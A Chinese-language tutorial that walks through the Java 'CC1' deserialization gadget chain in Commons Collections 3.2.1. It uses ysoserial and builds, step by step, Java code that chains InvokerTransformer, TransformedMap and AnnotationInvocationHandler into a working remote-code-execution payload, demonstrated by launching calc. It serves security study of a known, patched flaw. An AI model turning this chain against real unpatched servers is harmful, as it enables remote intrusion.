java安全-反序列化-CC1链
CC1 是「Commons Collections 1」的简称,是 Java 反序列化漏洞中最经典、最基础 的利用链,核心利用 Apache Commons Collections 3.x(≤3.2.1)的漏洞,结合 JDK 自身的类(如 AnnotationInvocationHandler),实现反序列化触发任意代码执行。
前提:
CC1 链能生效的两个必要条件(缺一不可):
| 依赖 / 环境 | 要求 | 原因 |
|---|---|---|
| Commons Collections 版本 | 3.2.1(≤3.2.1) | 3.2.2 及以上修复了InvokerTransformer的反射调用限制(COLLECTIONS-580) |
| JDK 版本 | 8u71 及以下(如 8u65、8u71) | 8u71 + 修复了AnnotationInvocationHandler的readObject触发逻辑(JDK-8145066) |
一、准备工作
首先导入依赖commons-collections
XML
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

下载jdk1.8u65版本
地址:Java 存档下载 --- Java SE 8 | Oracle 中国

记得不要开翻译,不然点击该版本下载链接会下载到其他版本的jdk
下载sun包源码:
jdk8u/jdk8u/jdk: af660750b2f4 /
将下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65/src(需手动解压src.zip)里

在项目的结构的SDK中的源路径添加刚刚的src目录

下载commons-collections 3.2.1源码:Apache Archive Distribution Directory

将源码解压保存在本地的maven-repo仓库

来到项目,左边随便选择一个commons-collections库的文件,点击右上角的选择源

选择刚刚解压的源码目录即可

二、触发示例
使用ysoserial工具生成cc1链执行calc命令,并保存链到cc1.ser文件内
shell
java.exe -jar ysoserial-all.jar CommonsCollections1 calc > cc1.ser

创建一个测试类,写入反序列化指定文件方法deserialize
java
package com.qdy;
import java.io.*;
public class CC1Debug {
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object deserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object o = ois.readObject();
return o;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
deserialize("cc1.ser");
}
}
将刚刚生成的恶意文件放入项目根路径后执行以上代码

成功执行指定命令calc
三、链分析
InvokerTransformer.transform-》TransformedMap.checkSetValue-》AbstractInputCheckedMapDecorator$MapEntry.setValue-》AnnotationInvocationHandler.readObject

1、InvokerTransformer.transform
InvokerTransformer.transform源码如下

红框中的三行代码实现了类反射
java
Class cls = input.getClass(); // 获取对象的类
Method method = cls.getMethod(iMethodName, iParamTypes); // 获取对象类的指定方法
return method.invoke(input, iArgs); // 对指定方法传入值
如果input、iMethodName、iParamTypes、iArgs这四个变量可控的话,即可实现执行任意类的方法
input是InvokerTransformer.transform方法传入的参数,可控

其他三个参数是构造方法传入的参数,也是可控的
按照如上分析可以构造如下代码,实现执行命令
java
package com.qdy;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1Debug {
public static void main(String[] args) {
// 传入方法名、方法对应需要传入的类型、命令
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
// 传入对象
invokerTransformer.transform(Runtime.getRuntime());
}
}

接下来找一下谁调用了InvokerTransformer.transform

可以发现有80多个结果,不过TransformedMap.checkSetValue才是可控的
2、TransformedMap.checkSetValue
TransformedMap.checkSetValue会调用valueTransformer.transform(value)方法

其中valueTransformer值来源于构造函数,是可控的

然后decorate方法调用了构造方法

但是这样还是没办法调用到checkSetValue方法,查看调用该方法的地方仅有一个

AbstractInputCheckedMapDecorator.MapEntry.setValue
AbstractInputCheckedMapDecorator 类继承AbstractMapDecorator ,而AbstractMapDecorator 实现了接口Map
所以我们想要调用setValue ,直接使用Map 的entrySet()方法遍历即可使用setValue方法即可
构造这里的链
java
package com.qdy;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1Debug {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
HashMap hashMap = new HashMap();
hashMap.put("a", "b");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
// 拿到所有键值对条目:为了调用每个条目的setValue
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(Runtime.getRuntime());
}
}
}
这样就成功利用InvokerTransformer.transform <- TransformedMap.checkSetValue链

接下来就是找入口,查找哪里存在重写了readObject方法的同时调用了setValue方法

3、AnnotationInvocationHandler.readObject
AnnotationInvocationHandler 类就重写了readObject方法,并且调用了steValue方法,所以就以这个类为入口

可以发现memberValues也是可控的,是由构造函数传入的

使用类反射加上前面的代码构造利用链
java
package com.qdy;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CC1Debug {
public static void serialize (Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
oos.writeObject(obj);
}
public static void deserialize () throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1.ser"));
ois.readObject();
}
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
// invokerTransformer.transform(Runtime.getRuntime());
HashMap hashMap = new HashMap();
hashMap.put("a","b");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null, invokerTransformer);
transformedMap.put("xxx",Runtime.getRuntime());
// 获取类
Class classAih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造方法
Constructor constructor = classAih.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true); // 关闭私有构造的访问检查,允许反射创建实例
// 实例化
Object obj = constructor.newInstance(Override.class,transformedMap);
// 序列化
serialize(obj);
// 反序列化
deserialize();
}
}
